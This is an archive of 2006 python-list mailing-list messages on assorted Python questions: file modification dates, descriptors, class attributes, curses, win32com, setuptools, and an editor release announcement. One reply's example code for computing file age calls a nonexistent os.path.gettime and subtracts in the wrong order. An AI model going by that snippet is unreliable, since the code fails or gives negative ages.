References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: <1159723934.216904.125370@k70g2000cwa.googlegroups.com> barakad at gmail.com wrote: > Hi. > I was searching for some information regarding a problem and found an > interesting post that includes an answer to the problem; thought the > post is very helpful it is based on a wrong assumption and thus the > solution it suggests is incorrect. It took me some time to understand > that the suggested solution is wrong and to find the correct solution > and I wish to add my findings to the post, to prevent others from > taking the wrong path. > When I tried to replay to the post I received a reject message stating > that it is impossible to replay to the topic since it is old and was > closed by a manager. > The question is how can I add this correction? > Thanks. Start a new thread and include the old post with your corrections. Yes, this means the erroneous post is still out there, and does not link directly to yours, but that's the fault of people who "close" threads, for they are among the stupidest people on the net. But if, as you did, someone else searches for the information, the old post will come up in the search results, and yours will too, because it contains the old post. So anyone who bothers to look at both will figure out what happened. --Blair From fredrik at pythonware.com Mon Oct 30 01:40:32 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 07:40:32 +0100 Subject: How to access file last modified dates on each file in a directory In-Reply-To: <1162177219.649954.318150@h48g2000cwc.googlegroups.com> References: <1162177219.649954.318150@h48g2000cwc.googlegroups.com> Message-ID: RAMohrmann at adelphia.net wrote: > I am attempting to view all files in a directory and if those files > have not been modified within the last couple days I will remove them. > In order to do this I need to look at the file date modied and check > the date. I know how to look at each file name and I know how to remove > the file. I just can't figure out how to get access to the date last > modifed filed. Below is how I intend to access the file names in the > directory. > >>>> import os,time,sys >>>> cachedirectory="c:\\informatica\\cache\\" >>>> v_filename_array=os.listdir(cachedirectory) since listdir only returns the last part of the full file path, it's often easier to use glob. for file in glob.glob("c:/informatics/cache/*"): ... otherwise, you need to do os.path.join(cachedirectory, file) for each file in the filename list, to get a full path. to get the age of a file, use os.path.getmtime(filename). this returns the modification time as seconds since a reference time (usually called the "epoch". if you subtract this time from the current time, you get the age (in seconds): import glob, os, time now = time.time() for file in glob.glob("c:/informatics/cache/*"): age = os.path.gettime(file) - now print file, "is", age / 3600, "hours old" adding code to remove old files should be straightforward. From sferriol at imag.fr Mon Oct 23 06:04:33 2006 From: sferriol at imag.fr (Sylvain Ferriol) Date: Mon, 23 Oct 2006 12:04:33 +0200 Subject: is it a bug ? In-Reply-To: References: Message-ID: Peter Otten a ?crit : > Sylvain Ferriol wrote: > > >>can you explain to me what happened: >> >>class toto(object): >> eq = float.__eq__ >> >>t = toto() >> >>getattr(t,'eq') >>TypeError: descriptor '__eq__' for 'float' objects doesn't apply to >>'toto' object > > > float.__eq__ is probably implemented in C and its operation will make sense > only for instances of float or subclasses of float. Try > > >>>>class Toto(float): > > .... eq = float.__eq__ > .... > >>>>Toto().eq(42) > > False > i can not use it because: class toto(float): def __init__(self,a=None):pass t=toto(a=3) TypeError: 'a' is an invalid keyword argument for this function > Peter From bdesth.quelquechose at free.quelquepart.fr Sat Oct 21 17:42:51 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Sat, 21 Oct 2006 23:42:51 +0200 Subject: silent processing with python+modpython+cheetah In-Reply-To: References: Message-ID: <453a9002$0$18675$426a74cc@news.free.fr> Sai Krishna M a ?crit : > Hi, > > I have been working for some time developing web pages using python, > modpython, cheetah. > I find that this method has come inherent difficulties in it like if > we want to generate a single page we have to write two separate files > ( py & tmpl). > Is there any other better way of doing things.? If you need to write specific python module and template for each and any page of your site/app, it may be time to google for "content management system" and "model view controller". > Also if we want to have partial processing of the pages, i.e, the > value one chooses for a particular field determines the value to be > entered for another field in the same page, how can it be done? Stop thinking in terms of "page", and you'll be on the way. Or switch to Pylons: http://www.pylonshq.com From aleax at mac.com Sun Oct 1 00:40:01 2006 From: aleax at mac.com (Alex Martelli) Date: Sat, 30 Sep 2006 21:40:01 -0700 Subject: does anybody earn a living programming in python? References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com> Message-ID: <1hmhych.1jaomee1msbzi8N%aleax@mac.com> Magnus Lycka wrote: ... > stuff in the world, so my standard extrapolation technique would yield > 30000 python programmers globally. I think this estimate is low, based on three piece of data I know (but, sorry, are all confidential;-) and thus one I can infer: -- I know how many copies of "Python in a Nutshell" Google buys; -- I know how many Python programmers work at Google; -- I know how many copies the Nutshell sells worldwide; Assuming the willingness to buy "Python in a Nutshell" is constant across the population of Python programmers (and I don't believe my working there influences anything -- Google had the Nutshell in the standard set of books engineers use, well before I got hired there), I can project a worldwide number of Python programmers that's several times higher than that. Or perhaps not, depending on the definition of "Python programmer". Most of Google's software developers who know Python also know one or more (generally several) of C, C++, Java, SQL, HTML, Javascript, &c, though they may or may not use any one or more of them often on the job; many Googlers who program only in Python do not _just_ program -- they are also working on other jobs besides software development (hardware design, testing, management, administrative assistance, system administration, network operations, whatever...). Hey, by a sufficiently strict definition _I_ don't count as a "Python programmer", since I also do substantial amounts of management, not to mention a little bit of C++, some C, SQL, HTML, and so forth...;-) Alex From peter.maas at somewhere.com Tue Oct 10 15:33:18 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Tue, 10 Oct 2006 21:33:18 +0200 Subject: Python component model In-Reply-To: <4p1nggFgnl6uU1@uni-berlin.de> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de> <4p1nggFgnl6uU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: > The amazing flexibility stems from the fact that it is _runtime_. This is > _exactly_ the difference between static and dynamic typing. Not _exactly_. You can have static typing in an interpreted language (Java) and dynamic typing in a machine language (Basic with variants). -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From fredrik at pythonware.com Wed Oct 25 18:43:33 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 00:43:33 +0200 Subject: Getting a lot of SPAM from this list In-Reply-To: <435b46e50610251514i337e07bdsd42b62bf5a2e3b@mail.gmail.com> References: <7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar> <17725.12208.931743.88672@montanaro.dyndns.org> <7xbqo10yik.fsf@ruckus.brouhaha.com> <435b46e50610251514i337e07bdsd42b62bf5a2e3b@mail.gmail.com> Message-ID: TiNo wrote: > How do you send and receive this email? email? From R.Brodie at rl.ac.uk Fri Oct 6 06:05:44 2006 From: R.Brodie at rl.ac.uk (Richard Brodie) Date: Fri, 6 Oct 2006 11:05:44 +0100 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: "Diez B. Roggisch" wrote in message news:4omn7jFfe26cU1 at uni-berlin.de... > This is on the same level of interest to the communities of python, ruby & java as the > color of my socks this morning - a deep black with cute little skulls imprinted. I did find Andy's claim that he expected contributors to sing a copyright transfer agreement somewhat unreasonable. It would depend on the tune though, I guess. From deets at nospam.web.de Fri Oct 20 04:45:10 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 20 Oct 2006 10:45:10 +0200 Subject: Can I use decorators to manipulate return type or create methods? In-Reply-To: <1161313194.211420.236840@b28g2000cwb.googlegroups.com> References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> <4ppla2Fit83qU1@uni-berlin.de> <1161298362.722062.265520@i3g2000cwc.googlegroups.com> <1161313194.211420.236840@b28g2000cwb.googlegroups.com> Message-ID: <4prgkiFjj80iU1@uni-berlin.de> WakeBdr schrieb: > Diez, > I get what that accomplishes now, but I'm having problems in my > implementation. I was able to write a standalone class that worked > correctly. However, in my code the class that I need to exhibit this > functionality inherits from another class. This seems to cause > problems when I attempt to implement you solution. You need to give a __metaclass__ to one of them, and I think they must be new-style-classes. Diez From tpochep at mail.ru Thu Oct 12 05:39:45 2006 From: tpochep at mail.ru (tpochep at mail.ru) Date: 12 Oct 2006 02:39:45 -0700 Subject: python's newbie question In-Reply-To: References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com> Message-ID: <1160645985.548440.252930@c28g2000cwb.googlegroups.com> js ?????(?): > http://mail.python.org/pipermail/python-list/2004-May/221591.html > > HTH Thank you!!! From daigno at gmail.com Mon Oct 23 17:24:28 2006 From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault?=) Date: Mon, 23 Oct 2006 17:24:28 -0400 Subject: python class instantiation In-Reply-To: References: <453D2C61.7000800@useReplyTo.hotmail.com> Message-ID: <453D330B.6080008@gmail.com> Fredrik Lundh wrote: > ?ric Daigneault lists wrote: > > >> When creating a class with data members but no __init__ method. Python >> deals differently with data members that are muatable and immutables. >> > > no, it doesn't. it's your code that deals with them in different ways, > not Python. > > >> Ex: >> class A(object): >> stringData = "Whatever" >> listData = [] >> >> instance = A() >> >> Will have data members instantiated as expected (instance.stringData == >> "Whatever" and instance.listData == []) >> >> instance.listData.append("SomeString") >> > > here, you call a method on the class object. this method modifies the > object. > I see.. so the all the attributes I declared above are part of the class... not the instance, kinna like instance attributes being overshadowed with local method attributes... >> instance.stringData = "Changed" >> > > here, you use assignment to *add* a new attribute to the instance. > > the class attribute is still there, but it's shadowed by an instance > attribute with the same name. > > > yep... got it... guess the Java-C++ views on things kinna creapt on me there... Thanks for clearing that up :-) It is humbling to see how simple yet powerfull python`s view on things is.... ?ric From Roka100 at gmail.com Tue Oct 10 01:34:18 2006 From: Roka100 at gmail.com (Jia,Lu) Date: 9 Oct 2006 22:34:18 -0700 Subject: [curses] Instead of window.refresh() or window.redrawwin() ? Message-ID: <1160458457.997725.54080@c28g2000cwb.googlegroups.com> Hi all. I wrote a program to get key press and echo to the screen at once. But I found I must use refresh() to let it show in the screen. Is there a method which can show charactors at once without refresh() ?? Thanks From fredrik at pythonware.com Sat Oct 21 05:20:10 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 21 Oct 2006 11:20:10 +0200 Subject: Python Source In-Reply-To: <873b9ixcok.fsf@benfinney.id.au> References: <1161418145.383719.324390@i3g2000cwc.googlegroups.com> <873b9ixcok.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > I don't understand the request. one wonders if someone who's not even capable of finding the code is capable of "hacking" it, in any sense of that word. From matthew_j_warren at hotmail.com Thu Oct 19 10:42:09 2006 From: matthew_j_warren at hotmail.com (MatthewWarren) Date: 19 Oct 2006 07:42:09 -0700 Subject: wxPython help wxSashWindow In-Reply-To: <30MZg.115$1n3.3329@news.tufts.edu> References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com> <30MZg.115$1n3.3329@news.tufts.edu> Message-ID: <1161268929.535719.288640@m73g2000cwd.googlegroups.com> John Salerno wrote: > MatthewWarren wrote: > > > I'm just starting out with wxPython > > Hi there. Sorry I can't help you because SashWindow isn't something I've > worked with yet, but I just wanted to let you know that there is also a > dedicated wxPython newsgroup (not that the people here aren't geniuses!) :) > > gmane.comp.python.wxpython (newsgroup) > wxPython-users at lists.wxwidgets.org (mailing list) > > It's a great resource. Thanks, is that a newsgroup I can view through google groups? I tried seraching for it but google says no.. And I'll give that list a subscribe. I have found a wxPython google group, but only 11 members and a handfull of posts in a year... From MonkeeSage at gmail.com Fri Oct 6 13:28:49 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 6 Oct 2006 10:28:49 -0700 Subject: Subclassing built-in classes In-Reply-To: References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> <200610051700.00482.maric@aristote.info> Message-ID: <1160155728.913921.107140@b28g2000cwb.googlegroups.com> On Oct 6, 4:58 am, Maric Michaud wrote: > As the first post said "...couldn't python (in theory)...", I was discussing > if it would be possible for python (in some future version) to manage the > literals so that they use the constructors in the __builtin__ module, I > didn't say it works actually (I'm aware it's not the case). Hi Maric, I think the problem Steve was pointing out is this: how do you make a literal use a constructor that is not available until *after* the literal has been constructed? In other words, python currently does this: 1) parses plaintext into bytecode (at which point literals are constructed), 2) executes bytcode (at which point custom constructors are available). The only way I can see to do what I asked is to, during bytecode compilation, mark a literal in the AST as being a literal (+1 bits, at least, on every literal until it is constructed) but not actually constructing it until the point of execution (+? time to go back through the object space looking for marked objects and constructing them). I don't know enough about python internals to know if that would be a problem, but I seriously doubt it would be implemented without some pressing use cases. So it is possible, but probably not plausible. Regards, Jordan From fredrik at pythonware.com Sat Oct 28 06:25:21 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 12:25:21 +0200 Subject: ANN: the pyfaq wiki has moved In-Reply-To: References: Message-ID: John Salerno wrote: > Ok. I was trying the "edit" link instead. ah, of course. I've moved the admin links a bit, to make the difference more obvious. thanks /F From jjl at pobox.com Mon Oct 9 17:01:58 2006 From: jjl at pobox.com (John J. Lee) Date: Mon, 09 Oct 2006 21:01:58 GMT Subject: Names changed to protect the guilty References: <877izb1vwe.fsf@pobox.com> Message-ID: <877iz9jj95.fsf@pobox.com> Ben Finney writes: > jjl at pobox.com (John J. Lee) writes: > > > aahz at pythoncraft.com (Aahz) writes: > > > if schema.elements.has_key(key) is False: > > > > I think I was reading the same code recently (epydoc?) and was also > > momentarily horrified ;-) until I realized that it was quite > > deliberately using three-valued logic (True, False, None) for some > > presumably-sensible reason. > > Apparently a reason unrelated to dict.has_key, which is documented as > returning only True or False, never None. Yes, that's true, I didn't really take in this particular example, just the use of "is ". That's not the way it was used in docutils, though (do I mean docutils?). John From limodou at gmail.com Mon Oct 9 03:52:39 2006 From: limodou at gmail.com (limodou) Date: Mon, 9 Oct 2006 15:52:39 +0800 Subject: ANN:UliPad 3.4 Release Message-ID: <505f13c0610090052g48745affkb08aa93e4e3fdaa4@mail.gmail.com> What's it? ======== It's an Editor based on wxPython. NewEdit is the old name, and UliPad is the new name. UliPad uses Mixin and Plugin technique as its architecture. Most of its classes can be extended via mixin and plugin components, and finally become an integrity class at creating the instance. So UliPad is very dynamic. You can write the new features in new files, and hardly need to modify the existing code. And if you want to extend the existing classes, you could write mixins and plugins, and this will be bound to the target class that I call "Slot Class". This technique will make the changes centralized and easily managed. What's new in 3.4 ============== * Bug fix * Notebook control changed to FlatNotebook * Ctrl+Enter can directly add new line, just like(End+Enter) * jQuery support: project setup, auto create comments for functions * Creating django app's dot file, and see the image in a window * Multi view of document * Commands searching and impact mode * ReStructuredText support: project setup, syntax highlight, html view and auto update * Django Template syntax highlight * ctags support * move python syntax check plugin into core * Auto syntax highlight bind and auto-complete file bind in _project Where to download it? ================ download lastest version 3.4: http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad_3.4.zip also have windows installer: http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad3.4.exe wiki: http://wiki.woodpecker.org.cn/moin/UliPad svn: http://cvs.woodpecker.org.cn/svn/woodpecker/ulipad/trunk maillist: http://groups.google.com/group/ulipad If you have any problem as using UliPad, welcome to join the UliPad maillist to discuss. What are its features? ================ * Cross platform * based on wxPython, so it can run anywhere that wxPython works, such as: Windows, Linux. * Unicode support. * Most features of wxStyledTextCtrl(Scintilla) * Syntax highlighting, support Python, c/c++, html, django template, restructured text, ruby, perl, css, javascript, plain text * Folding * Brace Matching * ... * Extended selection * Extended word selection -- You can press Ctrl+?MouseDoubleClick to select a word including '.' * Matched selection -- Select text in quoted chars like: (), [], {}, '', "". * For example: a string just like:: def func(self, 'This is a test'): ^ The '^' char represents caret position in above line. If you press Ctrl+E, you will select the whole text in (), i.e. "self, 'This is a test'". Something more in Selection Menu. * Other editing extension * Duplicating text -- Just like Vim Ctrl+V, Ctrl+P, and more. You can duplicate above or below char, word, line * which match the leading chars. * Quoting text -- Add some quoted chars before and after selected text, just as: "", '', (), [], {}, and * customized string, etc. * Text convertion and view -- python -> html, reStructured Text -> html, textile -> html, and you can output or view * the html text in message window, or html view window, or replace the selected text. * Utf-8 encoding auto detect * Changing document encoding * Auto backup * Last session support -- It'll save all the filenames as closed, and reopen the files as next started. * Smart judge the indent char -- It'll auto guess the indent char, and sets it. * Finding in files * Bookmark support * Python support * built-in python interactive window based on PyShell, support Unicode * Auto completion * Function syntax calltips * Run, run with argument, stop python source * Auto change current path * Python class browser * Syntax check * Code snippets * You can manage your code snippets with categories, and each category can have many items. Every item will represent a code snippet. You can insert an item just by double-clicking on it. It even supports importing and exporting. * Simple project support * Can create a special file _project, so every file and folder under the folder which has the _project can be considered as a whole project. * Extension mechanism * Script -- You can write easy script to manipulate the all resource of UliPad(NewEdit), just like: text conversion, etc. * Plugin -- Customized function. More complex but more powerful. Can easily merge with UliPad(NewEdit), and can be * managed via menu. * Shell command -- Add often used shell commands, and execute them. * Ftp support * You can edit remote files through ftp. You can add, rename, delete, upload, download file/directory. * Multilanguage support * Currently supports two languages: English and Chinese, which can be auto-detected. * Shipped many plugins(must be configed as used them before) * djangoproj -- user for django development * Shipped scripts * You can find them at UliPad/scripts directory * Wizard * You can make your own wizard template. The wizard can input user data, combine with template, and output the result. And wizard also support code framework created. This feature will help you improving coding efficiency. * Direcotry Browser * Browse multiple directories, and you can really add, delete, rename directories and files. Double click will open the file in Editor window. * Input Assistant * Suport user autocomplete file, it can help to input code very helpful and functional. Just like EditPlus, but may be more powerful. * Column Editing Mode * You can select multilines, and then set a column mode region, so in any line of this region, if you enter a character, other lines will also add this character. If you want to deal with multilines as a similar mode, this functionality will be very handy. Hope fun! -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From pavlovevidence at gmail.com Thu Oct 26 00:25:24 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 25 Oct 2006 21:25:24 -0700 Subject: question about True values In-Reply-To: <1161804934.010376.151330@f16g2000cwb.googlegroups.com> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> Message-ID: <1161836724.709979.249090@m7g2000cwm.googlegroups.com> John Coleman wrote: > Paul Rubin wrote: > > "John Coleman" writes: > > > > then "x == 3" is false, but "int(x) == 3" is true. > > > But then why is 3.0 == 3 true? They are different types. > > > > The 3 gets converted to float, like when you say > > > > x = 3.1 + 3 > > > > the result is 6.1. > > Yes - it just seems that there isn't a principled reason for implicitly > converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to > boolean in "cat" == true. Because being true is not the same as equaling True. == is a test for equaling, not being. Carl Banks From pydecker at gmail.com Thu Oct 12 08:45:43 2006 From: pydecker at gmail.com (Peter Decker) Date: Thu, 12 Oct 2006 08:45:43 -0400 Subject: Standard Forth versus Python: a case study In-Reply-To: <7x4pu9bw3z.fsf@ruckus.brouhaha.com> References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> <7xfydtojhe.fsf@ruckus.brouhaha.com> <7x4pu9bw3z.fsf@ruckus.brouhaha.com> Message-ID: On 12 Oct 2006 04:40:32 -0700, Paul Rubin <"http://phr.cx"@nospam.invalid> wrote: > Paul Rubin writes: > > > fun median { > > > var x = 0. > > > while( *p++) { > > > if( (*p) > x) x = *p. > > > } > > > return x. > > > } > > > > I count two variables, p and x. > > Also, that finds the maximum, not the median. I had stopped examining > it after seeing it used more than one variable. Um... isn't 'p' the list in question? There is only one variable used for the calculation of the return value (yes, it's a maximum), and that's 'x'. -- # p.d. From istvan.albert at gmail.com Wed Oct 4 12:10:38 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 4 Oct 2006 09:10:38 -0700 Subject: A Universe Set References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Message-ID: <1159978238.287743.274940@k70g2000cwa.googlegroups.com> Jorgen Grahn wrote: > I have been craving for some similar things for a while, and I'm still not > sure if they are good ideas, or brain damage caused by studying functional > programming at Uni. This is a self correcting situation, as ayone who understands why they need this can surely write them using itertools and some simple classes. No Child Left Behind. From http Wed Oct 11 09:34:31 2006 From: http (Paul Rubin) Date: 11 Oct 2006 06:34:31 -0700 Subject: Python component model References: <1160562945.079609.98640@m7g2000cwm.googlegroups.com> <1160570340.981862.212380@c28g2000cwb.googlegroups.com> Message-ID: <7xejtf2cyg.fsf@ruckus.brouhaha.com> "Fredrik Lundh" writes: > one, two, overflow ? or are you saying that the lack of a monopoly means > market stagnation, no matter how innovative the three big ones are ? It worked for Ruby on Rails... From rpdooling at gmail.com Fri Oct 20 08:49:53 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 20 Oct 2006 05:49:53 -0700 Subject: help with my first use of a class In-Reply-To: <4538942b$0$31252$426a74cc@news.free.fr> References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> <4538942b$0$31252$426a74cc@news.free.fr> Message-ID: <1161348593.257689.36900@i42g2000cwa.googlegroups.com> Thanks, Bruno. Very educational. rd Bruno Desthuilliers wrote: > Think of a class as both a "blueprint" for objects and a factory > creating these objects. The class lets you define the attributes and > behaviors of it's instances. > > First, notice that you *don't* need a class here to avoid globals. > Learning to use function as *functions* (ie: taking arguments and > returning values) instead of procedure would help: > > Now for an OO version - that won't buy you much IMHO: > From Hakusa at gmail.com Thu Oct 26 20:01:53 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 26 Oct 2006 17:01:53 -0700 Subject: What's the best IDE? In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> <7g40h.165$1n3.4282@news.tufts.edu> Message-ID: <1161907313.479715.95600@m73g2000cwd.googlegroups.com> I just meant that I was going to bed and didn't have time to do it the same night. I'll see if I can make it work, use it forever . . . I'll do it. From arno at cs.vu.nl Thu Oct 5 11:09:22 2006 From: arno at cs.vu.nl (Bakker A) Date: Thu, 5 Oct 2006 15:09:22 GMT Subject: Restoring override of urllib.URLopener.open_https Message-ID: Hi, the M2Crypto library overrides the urllib.URLopener.open_https method, causing a urllib.urlopen to a https: server to fail in my case. My python is not that strong, so is there a way to set urllib.URLopener.open_https back to the original code? I prefer not to modify M2Crypto. Thanks, Arno Bakker From steve at holdenweb.com Tue Oct 24 21:51:39 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 02:51:39 +0100 Subject: win32com problem In-Reply-To: <1161738939.199723.85120@f16g2000cwb.googlegroups.com> References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com> Message-ID: cfriedalek at gmail.com wrote: > I'm interacting with a third party application using python and com. > However having problems and don't know what to look at next to resolve > the issue. > > The app. can be driven by VBS. The following VBS code works: > > Set Synergy = CreateObject("synergy.Synergy") > Synergy.OpenProject "D:/temp/project.mpi" > Synergy.Project.OpenItemByName "test_bar_3d_6l_pc1", "Study" > Set Tet = Synergy.StudyDoc.GetFirstTet() > While Not Tet Is Nothing > Str = Tet.ConvertToString() + " " > Set Tet = Synergy.StudyDoc.GetNextTet(Tet) > MsgBox Str > WEnd > > This prints "TE1" "TE2" etc > > > The "same" code in python returns > with each call > to the GetNextTet method. > > import win32com.client > from win32com.client import Dispatch > Synergy = win32com.client.Dispatch("synergy.Synergy") > Synergy.OpenProject("D:/temp/project.mpi") > Synergy.Project.OpenItemByName("test_bar_3d_6l_pc1", "Study") > tet = Synergy.StudyDoc.GetFirstTet tet = Synergy.StudyDoc.GetFirstTet(), perhaps? > while tet: > print str(tet) > tet = Synergy.StudyDoc.GetNextTet(tet) > > Any clues on what I'm doing wrong, or how to investigate whether there > is a bug in win32com or in the third party apps com implementation. > regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From ath-admin at vt.edu Thu Oct 19 14:18:18 2006 From: ath-admin at vt.edu (rick) Date: Thu, 19 Oct 2006 14:18:18 -0400 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt> Message-ID: Tim Chase wrote: > Well, there you go! Apparently, your wet paper bag has no "detect a > palendrome" exit. While you're installing such an egress to your soggy > dead-tree satchel, you could also provide similar "write a binary Glad you guys are enjoying this. We're getting off-topic and I think my point is being lost to jest. As humans, we know very little. But one of the basics of our knowledge is order or sequence. 1,2,3,4 is natural so is 4,3,2,1 (count down to blast off for example). When we put our shirt on inside-out or watch someone moon walk (Micheal Jackson) it's immediately obvious and easy to see that the sequence is reversed. Backwards is pure, simple and easy. This is not so in Python and it should be. That's all I have to day about that. From wuwei23 at gmail.com Mon Oct 2 22:34:24 2006 From: wuwei23 at gmail.com (alex23) Date: 2 Oct 2006 19:34:24 -0700 Subject: Problem with ez_setup on a "non-networked" machine Message-ID: <1159842864.476548.284080@h48g2000cwc.googlegroups.com> Hey everyone, I'm trying to install setuptools on a work PC behind an NTLM firewall. I've tried to use APS as recommended but am still unable to have anything other than IE talk through firewall. But as I can downloaded eggs manually, I'm not overly concerned at this point. So I've tried following the instructions for un-networked installs: I've downloaded ez_setup.py and setuptools-0.6c3-py2.4.egg, putting the egg file in the same folder as ez_setup. No matter what comline args I try, though, it always seems to try to grab the egg from the Cheeseshop. I naively started off with: D:\downloads>ez_setup setuptools Downloading http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.6c3-py2.4.egg Traceback (most recent call last): File "D:\downloads\ez_setup.py", line 217, in ? main(sys.argv[1:]) File "D:\downloads\ez_setup.py", line 149, in main egg = download_setuptools(version, delay=0) File "D:\downloads\ez_setup.py", line 131, in download_setuptools src = urllib2.urlopen(url) File "C:\Python24\lib\urllib2.py", line 130, in urlopen return _opener.open(url, data) File "C:\Python24\lib\urllib2.py", line 358, in open response = self._open(req, data) File "C:\Python24\lib\urllib2.py", line 376, in _open '_open', req) File "C:\Python24\lib\urllib2.py", line 337, in _call_chain result = func(*args) File "C:\Python24\lib\urllib2.py", line 1021, in http_open return self.do_open(httplib.HTTPConnection, req) File "C:\Python24\lib\urllib2.py", line 996, in do_open raise URLError(err) urllib2.URLError: So reading through the EasyInstall instructions, I find that I need to stop it from downloading and point it at the local copy instead: D:\downloads>ez_setup --allow-hosts=None --find-links="D:\downloads" setuptools Downloading http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0.6c3-py2.4.egg Traceback (most recent call last): [snip] urllib2.URLError: This I don't understand, as the docs explicitly state, "--allow-hosts=None prevents downloading altogether", which certainly isn't the case here. Even using the exact param layout for the example in the docs doesn't work: D:\downloads>ez_setup -H None -f D:\downloads setuptools Downloading http://cheeseshop.python.org/packages/2.4/s/setuptools/setuptools-0. 6c3-py2.4.egg Traceback (most recent call last): [etc] The difference is that I'm using ez_setup instead of easy_install, but then that's what I'm wanting to end up with out of this exercise. The docs do state that ez_setup uses the exact same comline args as easy_install...is this definitely the case? Any help at all would be greatly appreciated. I feel like I'm missing something blatantly obvious... Danke. - alex23 From david at boddie.org.uk Sat Oct 7 10:22:03 2006 From: david at boddie.org.uk (David Boddie) Date: Sat, 07 Oct 2006 16:22:03 +0200 Subject: Kde Taskbar References: <4527a4ae@127.0.0.1> Message-ID: <9e952$4527b80c$54d1d767$27208@news.chello.no> On Saturday 07 October 2006 14:59, DarkBlue wrote: > In linux I use kmail as my email client under KDE, > if a message comes in the Kontact button in the > taskbar changes to blue. > How can I have the same behaviour in a python app ? You need to activate the window associated with the application. > I have a python script which runs nicely under linux > now every so often I want to be notified by some event, > in this case that a record has been added to a database > and I want to have the application button in the taskbar > to change color If the script is running in a console, you'll need to activate the window containing the console. I tried doing this by accessing konsole's DCOP interface, but couldn't find a suitable method to call. If you know which konsole your script is running in, you might find that you can raise the window with dcop konsole- konsole-mainwindow#1 raise where is the process ID of the konsole. This might have the effect of causing its taskbar button to change color. You can find information about the konsole from the KONSOLE_* environment variables. It would be good if konsole had a DCOP method that enabled you to activate its window, or if kicker exported an interface for the taskbar, or even if kwin had some way of letting you activate a window given its ID. Unfortunately, I couldn't find methods for any of these, so you would have to think about using PyKDE to get at this functionality. It would be good if someone could prove me wrong on any of this. ;-) David From tim.peters at gmail.com Sun Oct 1 16:16:04 2006 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 1 Oct 2006 16:16:04 -0400 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: Message-ID: <1f7befae0610011316s67e047kec871e05b9126c32@mail.gmail.com> [charlie strauss] >>> Below is a simple program that will cause python to intermittently >>> stop executing for a few seconds. it's 100% reproducible on my >>> machine. [Giovanni Bajo] >> Confirmed with Python 2.4.2 on Windows. [Jorgen Grahn] > And Python 2.3.5 on Linux, amd64. In fact, it causes heavy swapping so it > will disrupt other processes, too. > > I didn't read the code, stupid as I am, but I trust that the behavior > doesn't match what the code actually tries to do. No, that's what it does: as it goes on, it creates an ever-increasing and unbounded number of immortal objects and lists. The "time burps" merely reflect that the more live containers and objects you have, the longer it takes for cyclic gc to determine that they're not trash. From fredrik at pythonware.com Mon Oct 23 09:11:57 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 15:11:57 +0200 Subject: Script to count files in a folder References: <1161608629.259769.88490@b28g2000cwb.googlegroups.com> Message-ID: umut.tabak at student.kuleuven.be wrote: > A batch file creates this file and deletes that file in the same loop. > This file is intended to start the reading of an input 